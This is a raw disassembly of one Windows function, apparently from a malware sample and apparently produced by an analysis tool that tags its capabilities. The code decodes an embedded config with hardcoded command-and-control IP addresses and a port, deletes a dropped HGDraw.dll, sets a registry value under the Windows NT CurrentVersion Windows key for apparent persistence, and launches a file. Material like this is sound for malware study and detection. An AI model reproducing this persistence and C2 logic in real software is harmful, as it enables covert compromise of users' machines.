Function at 0x401f90
Capabilities:
Create process on windows
Delete file
Get common file path
Set registry value

Disassembly:
sub esp, 0x828
mov eax, dword [0x42fc20]
xor eax, esp
mov dword [esp + 0x820], eax
push ebx
push esi
push edi
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x422]
push ecx
mov word [esp + 0x424], ax
call fcn.00411d40
add esp, 0xc
xor edx, edx
push 0x206
push edx
lea eax, [esp + 0x62a]
push eax
mov word [esp + 0x62c], dx
call fcn.00411d40
add esp, 0xc
lea ecx, [esp + 0x418]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetTempPathW]
push str.HGDraw.dll
lea edx, [esp + 0x41c]
push 0x104
push edx
call fcn.0040fd3e
add esp, 0xc
lea eax, [esp + 0x418]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileW]
call fcn.004024a0
cmp dword [0x4343f0], 1
mov esi, eax
jne 0x40204e
test esi, esi
jne 0x40204e
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x820]
xor ecx, esp
call fcn.0040fcc0
add esp, 0x828
ret
call fcn.004028b0
push 0x200
lea ecx, [esp + 0x1c]
push 0
push ecx
mov edi, eax
call fcn.00411d40
mov eax, 0x2b70
mov edx, 0x51
add esp, 0xc
mov word [esp + 0x13e], ax
mov dword [esp + 0x18], 0x504d534d
mov word [esp + 0x9c], dx
xor eax, eax
lea ecx, [ecx]
movzx ecx, word [eax + 0x428aa4]
mov word [esp + eax + 0xbe], cx
add eax, 2
test cx, cx
jne 0x402090
xor eax, eax
lea esp, [esp]
movzx ecx, word [eax + str.218.54.30.235]
mov word [esp + eax + 0x1c], cx
add eax, 2
test cx, cx
jne 0x4020b0
xor eax, eax
jmp 0x4020d0
movzx ecx, word [eax + str.AAAA]
mov word [esp + eax + 0x9e], cx
add eax, 2
test cx, cx
jne 0x4020d0
push 0x4343b0
lea ecx, [esp + 0x1a4]
push 0x10
mov ebx, 5
push ecx
mov dword [esp + 0x1ec], ebx
call fcn.0040fccf
add esp, 0xc
test esi, esi
jne 0x402112
test edi, edi
je 0x402188
push 0x434220
lea edx, [esp + 0xa2]
push 0x10
push edx
call fcn.0040fccf
add esp, 0xc
push 0x4342a0
lea eax, [esp + 0x20]
push 0x40
push eax
call fcn.0040fccf
add esp, 0xc
push 0x434328
lea ecx, [esp + 0xc2]
push 0x40
push ecx
call fcn.0040fccf
mov ax, word [0x4343a8]
mov dx, word [0x434320]
mov word [esp + 0x14a], ax
mov eax, dword [0x4343ac]
add esp, 0xc
mov word [esp + 0x9c], dx
mov dword [esp + 0x1e0], eax
test eax, eax
jne 0x402188
mov dword [esp + 0x1e0], ebx
mov edx, str.218.54.28.139
lea ecx, [esp + 0x1c]
mov ax, word [ecx]
cmp ax, word [edx]
jne 0x4021b7
test ax, ax
je 0x4021b3
mov ax, word [ecx + 2]
cmp ax, word [edx + 2]
jne 0x4021b7
add ecx, 4
add edx, 4
test ax, ax
jne 0x402191
xor eax, eax
jmp 0x4021bc
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x4021da
cmp word [esp + 0x9c], 0x51
jne 0x4021da
mov ecx, 0x2b70
cmp word [esp + 0x13e], cx
je 0x402214
mov eax, 0x2b70
mov edx, 0x51
mov word [esp + 0x13e], ax
mov word [esp + 0x9c], dx
mov dword [esp + 0x1e0], ebx
xor eax, eax
lea ecx, [ecx]
movzx ecx, word [eax + str.218.54.28.139]
mov word [esp + eax + 0x1c], cx
add eax, 2
test cx, cx
jne 0x402200
xor eax, eax
jmp 0x402220
movzx ecx, word [eax + 0x428aa4]
mov word [esp + eax + 0xbe], cx
add eax, 2
test cx, cx
jne 0x402220
cmp word [esp + 0x1c], cx
je 0x40247a
cmp word [esp + 0x9c], cx
jbe 0x40247a
mov eax, 0x4343b0
mov dword [esp + 0x18], 0x504d534d
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x402260
sub eax, edx
sar eax, 1
je 0x40229e
push 0x4343b0
push 0
push 0x20000
call dword [sym.imp.KERNEL32.DLL_OpenEventW]
test eax, eax
je 0x40229e
push 0x4343b0
lea ecx, [esp + 0x1a4]
push 0x10
push ecx
call fcn.0040fccf
add esp, 0xc
cmp word [esp + 0x1a0], 0
jne 0x4022c0
push str.datse
lea edx, [esp + 0x1a4]
push 0x10
push edx
call fcn.0040fccf
add esp, 0xc
cmp word [esp + 0x1c0], 0
jne 0x402318
push str.opert
lea eax, [esp + 0x1c4]
push 0x10
push eax
call fcn.0040fccf
mov eax, 0x4343d0
add esp, 0xc
lea edx, [eax + 2]
lea ebx, [ebx]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4022f0
sub eax, edx
sar eax, 1
je 0x402318
push 0x4343d0
lea ecx, [esp + 0x1c4]
push 0x10
push ecx
call fcn.0040fccf
add esp, 0xc
cmp dword [esp + 0x1e0], 0
mov dword [esp + 0x1e4], 0x10002e3
jne 0x402334
mov dword [esp + 0x1e0], ebx
cmp dword [esp + 0x18], 0x504d534d
mov ecx, 0x80
lea esi, [esp + 0x18]
lea edi, [esp + 0x218]
rep movsd dword es:[edi], dword [esi]
jne 0x40247a
xor eax, eax
jmp 0x402360
mov dl, byte [esp + eax + 0x218]
not dl
mov byte [esp + eax + 0x218], dl
inc eax
cmp eax, 0x200
jb 0x402360
lea esi, [esp + 0x218]
call fcn.00401ec0
test eax, eax
je 0x40247a
lea eax, [esp + 0x418]
push eax
lea ecx, [esp + 0x1c4]
push ecx
call fcn.00402b40
add esp, 8
push 0x104
lea edx, [esp + 0x624]
push edx
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameW]
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
mov ecx, eax
mov eax, 0x10624dd3
mul ecx
mov eax, edx
shr eax, 6
xor edx, edx
mov ecx, 0x64
div ecx
lea eax, [esp + 0x620]
push edx
lea edx, [esp + 0x41c]
push edx
push eax
call fcn.004033e0
add esp, 0xc
lea ecx, [esp + 0x10]
push ecx
push 3
push 0
push str.SoftwareMicrosoftWindows_NTCurrentVersionWindows
push connect
mov dword [esp + 0x24], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40245f
lea eax, [esp + 0x418]
lea edx, [eax + 2]
mov edi, edi
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x402420
mov ecx, dword [esp + 0x10]
sub eax, edx
sar eax, 1
lea edx, [eax + eax + 2]
push edx
lea eax, [esp + 0x41c]
push eax
push 1
push 0
push 0x428b6c
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x40245f
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 1
push 0
push 0x428858
lea eax, [esp + 0x424]
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ecx, dword [esp + 0x82c]
pop edi
pop esi
pop ebx
xor ecx, esp
mov eax, 1
call fcn.0040fcc0
add esp, 0x828
ret